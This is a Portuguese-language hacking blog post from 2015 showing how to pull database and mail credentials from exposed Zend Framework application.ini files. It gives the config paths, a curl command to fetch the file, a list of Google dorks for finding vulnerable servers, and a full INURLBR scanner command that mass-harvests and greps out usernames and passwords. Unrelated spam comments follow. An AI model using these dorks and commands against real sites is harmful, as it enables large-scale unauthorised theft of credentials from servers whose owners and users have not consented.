Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

terça-feira, 8 de setembro de 2015

Explorando falha no Zend Framework Full Info Disclosure again! again!

3xpl0r4nd0 Z3nd Fr4m3w0rk Full 1nf0 D15cl05ur3

4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n!   Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.  Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.  Acessar informações como:

4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 

Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.
Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.
Acessar informações como:
  1. 'mail.transport.username'
  2. 'mail.transport.password'
  3. 'db.adapter'
  4. 'db.params.host'
  5. 'db.params.username'
  6. 'db.params.password'
  7. 'db.params.dbname'
Exemplo:
resources.mail.transport.host ="smtp.target.com.br"
resources.mail.transport.auth = "loginre"
sources.mail.transport.username = "wangxydlutre"
sources.mail.transport.password = "12333"
resources.db.adapter = "PDO_MYSQL"
resources.db.params.host = "mysql.target.com.br"
resources.db.params.username = "root"
resources.db.params.password = "123456"
resources.db.params.dbname = "db_app_teste"

Tais informações são encontradas no arquivo application.ini,db.ini,config.ini dentro da pasta /application/configs.

Exemplo de estrutura URL:
  • http://{taget}/pasta/application/configs/{arquivo}.ini
  • http://{taget}/application/configs/{arquivo}.ini
Acessando arquivo via CURL:
curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'

Acessando arquivo via CURL: curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'

Com o conceito de como acessar tal arquivo e do que podemos encontrar no mesmo, vamos para buscar servidores.

DORK[s]:

  • site:br index of "/application/configs/"
  • inurl:/application/configs/application.ini
  • site:com ext:ini inurl:/application/  -inurl:"git*" -github -assembla -inurl:mozilla -inurl:google "params.password"
  • -site:.google.com -site:.github.com -site:.sourceforge.net -site:.googlecode.com inurl:/application/configs/ "params" ext:ini
  • inurl:/configs/ "params.password" db.ini ext:ini
  • -github.com -mozilla.org -.google.com inurl:/application/  ext:ini password

Agora vamos explora em massa com SCANNER inurlbr

Montar comando baseado nas informações que já sabemos, o principal intuito achar possíveis servidores através de motores de busca e já testar o possível conteúdo de cada url encontrada.
O script INURLBR já possui por padrão um conjunto de strings para tal validação:
        
/* [*]ZEND FRAMEWORK
* Zend-Framework Full Info Disclosure
* The username and password of the database may be obtained trough 
* the "application.ini" file
$validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';
$validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';
$validation['ZEND-FRAMEWORK-03'] = 'db.params.username';
$validation['ZEND-FRAMEWORK-04'] = 'db.params.password';
$validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';

COMMAND

SET DORK:
--dork '{YOU_DORK}'ou
--dork-file 'arquivo_dorks.txt'
Use:
--dork 'site:br index of "/application/configs/"'ou
--dork-file 'zend-dorks.txt'

SET ARQUIVO DE SAÍDA:
-s '{FILE}'
Use:
-s 'zend.txt'

SET ID DOS MOTORES DE BUSCA:
-q '{ID}'
Use:
-q 1,6,7,14,22

SET FILTRO DE URLS:Só é incluída no loop de testes urls que contenham a string setada em tal parâmetro.
--ifurl '{STRING_VALIDATION}'
Use:
--ifurl 'configs'

SET REPLACE - MANIPULAÇÃO DE URL:
--replace 'OLD_STRIN[INURL]NEW_STRING'
Use:
--replace '/configs[INURL]/configs/application.ini#'

Manipulação de URL exemplo:
URL original vinda do motor de busca ou arquivo:
http://www.target.com.br/pasta/application/configs/languages/de/

URL modificada pelo replace:
http://www.target.com.br/pasta/application/configs/application.ini#/languages/de/

A function substituiu a string /configs por /configs/application.ini# e tudo depois do "#" é ignorado.

SET COMANDO PERSONALIZADO: 
Só vai executar tal comando se o script achar algo que seja considerado vulnerável.
--commnad-vul '{COMMAND_LINE}'
Use:
--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado
COMANDO COMPLETO:
php inurlbr.php --dork 'site:br index of "/application/configs/"-s 'zend.txt-q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"


PRINT OUTPUT:
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado  COMANDO COMPLETO: php inurlbr.php --dork 'site:br index of "/application/configs/"' -s 'zend.txt' -q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#' --command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"




9 comentários:

  1. It's estimated that a smoker consumes over 6,200 cigarettes each year, according to the Centers for Disease Control and Prevention (CDC). Mark Twain famously said this: "Giving up smoking is the easiest thing in the world. I know because I've done it thousands of times."
    The growing awareness on the dangers of puffing cigarettes aren't just talking points in social circles—it's prompting governments to take legislative action and protect users' and non-users' lungs. In California, the state legislature is considering raising the legal age from 18 to 21 for purchasing tobacco products, a bill which is expected to pass into law. So why raise the age threshold? Because 95 percent of smokers say they started before the age of 21.
    Hollywood celebs have also helped to raise global awareness — especially among the younger crowd — on the dangers of tobacco smoke. Emma Watson, Jessica Alba, Renee Zellweger, and other stars have resisted smoking on-screen even though they were simply portraying characters, according to the ukmedix blog.
    Several states are currently weighing the opportunity to increase taxes on cigarettes. But the cost-driven approach to modify consumer behavior is generating healthy skepticism on politicians' true motive. Cynics say that many state governments are looking to increase "sin taxes" not primarily to advance health issues, but rather as a way for elected officials to punish taxpayers who have a perfectly legal, albeit misguided, right to use such substances (the libertarian's argument); and to raise money for more spending on bloated bureaucracies (the fiscal conservative's argument).

    http://www.digitaljournal.com/life/health/op-ed-no-smoking-day-highlights-government-actions-against-cigarettes/article/459706

    ResponderExcluir
  2. That's the same reason prospects won't buy whatever product or service your startup offers—no matter how interesting it might sound.

    It's quite understandable; no one wants to risk their money on an unknown offer by an unknown brand. And that's the major challenge most startups face—getting their first customers.

    Before prospects will buy from you, they need to know and trust you. So, your first major assignment as a startup owner is to build trust.

    You'll face a lot of challenges while trying to achieve that because it would be hard to take prospects' attention away from the established brands they've known and trusted for years.

    http://scn.sap.com/community/business-trends/blog/2016/03/10/5-smart-ways-startups-can-quickly-build-brand-trust

    ResponderExcluir
  3. ripper do caralho kkkkk pqp...

    ResponderExcluir
  4. Este comentário foi removido por um administrador do blog.

    ResponderExcluir
  5. It seems to me that people who have found the grids are just happy to have it at hand.

    ResponderExcluir
  6. Este comentário foi removido por um administrador do blog.

    ResponderExcluir
  7. Este comentário foi removido por um administrador do blog.

    ResponderExcluir
  8. Este comentário foi removido por um administrador do blog.

    ResponderExcluir

............